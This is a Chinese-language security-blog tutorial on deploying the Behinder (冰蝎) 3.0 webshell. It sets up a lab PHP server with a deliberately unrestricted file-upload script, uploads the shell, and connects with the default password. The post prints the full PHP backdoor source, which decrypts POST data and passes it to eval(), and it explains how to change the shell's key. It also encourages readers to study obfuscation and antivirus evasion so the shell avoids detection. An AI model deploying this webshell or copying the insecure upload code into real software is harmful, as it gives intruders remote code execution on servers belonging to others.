freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

冰蝎3.0的使用方法与默认密码更改方法
2020-09-27 20:46:51

前言

今天刚下载了最新版的冰蝎3.0 beta2,但是一直连不上,后来前辈的讲解才知道原因,这里做一个记录,希望对你有所帮助。

这篇文章比较基础,主要面向新手,技术含量较低主要为操作流程。


首先看看下载后有什么文件:

1601209816_5f7085d85acb5085ba60b.png!small

server文件中放的是各种语言的webshell,如下图:1601210092_5f7086ec3cff5dce61bef.png!small

环境配置

这里我使用的php的webshell做的实验。首先我开了一个windows的虚拟机,下载了phpstudy,开启了apache,然后写一个文件上传的php代码,这里采用的是菜鸟教程上自带的php文件上传代码,具体代码如下:

<!-- index.html代码 -->

<html>
<head>
<meta charset="utf-8">
<title>Upload</title>
</head>
<body>
<!-- 下面表单表示将接收到底文件传给upload_file.php去处理 -->
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>

// upload_file.php
<?php 
if ($_FILES["file"]["error"] > 0)
{
    echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"] //文件会被上传到当前目录下的upload文件夹中
?>

将上面的代码放在:

1601210430_5f70883eafe18ed532ea2.png!small

只要下载了phpstudy应该就会有这个文件夹,我使用的是默认目录安装的,upload_file.php代码写到上传的文件需要被放在当前目录下的upload文件夹中,因此我们需要自己创建一个upload文件夹,如上图所示。

连接webshell

1601210488_5f70887874790cdc4c7db.png!small

上传页面如上图所示,点击chose file选中文件,点击提交上传我们的php的webshell即可,上传成功这会出现下图。

1601210513_5f70889194c61fb476bd9.png!small

这时候双击打开我们的冰蝎:

1601210531_5f7088a3ec70dbfd6629c.png!small

如果无法打开可能是java版本不对,这里我给出自己的java版本作为参考。

1601210549_5f7088b5397bd7ca3a0ef.png!small

打开后如下图所示:

1601210566_5f7088c6e88e395d1c030.png!small

在空白处右键然后点击新增:

1601210584_5f7088d8457dba78f8c82.png!small

输入url跟密码然后点击保存

1601210601_5f7088e9eb72a28cb401e.png!small

这里面说一下为什么默认密码为什么是rebeyond还有怎样更改默认密码:
先看看冰蝎的phpshell的源代码:

<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b"; //这一行为密码的md5的前16位
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

跟我在代码中标注的一样

$key=“e45e329feb5d925b”; //这一行为密码的md5的前16位
我们去cmd5这个网站中去进行加解密操作,输入rebeyond:

1601210714_5f70895a4398e163c9b11.png!small

发现rebeyond的32位md5的前16为刚好就是代码中的key的值(是第一行md5(rebeyond,32))。现在大家应该知道怎么改密码了吧,只要用你想用的密码的md5的前16位代替代码中key的值,然后你就可以使用自己的密码登陆shell了。例如你想使用admin当密码,你求出的admin的md5如下:

1601210730_5f70896ad0b9f03da81ca.png!small

这时候你只需要将代码中的 “ $key=“e45e329feb5d925b”; “ 中key的值改为21232f297a57a5a7即可使用admin为密码登陆,说到这里就已经很详细了,点到为止。

冰蝎页面

连接成功后页面如下:

1601210756_5f7089841de01803f65e7.png!small

大家可以根据自己的需要去使用,不过建议大家有机会研究一下webshell的混淆与免杀,否则很容易被查杀。

免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

# 系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者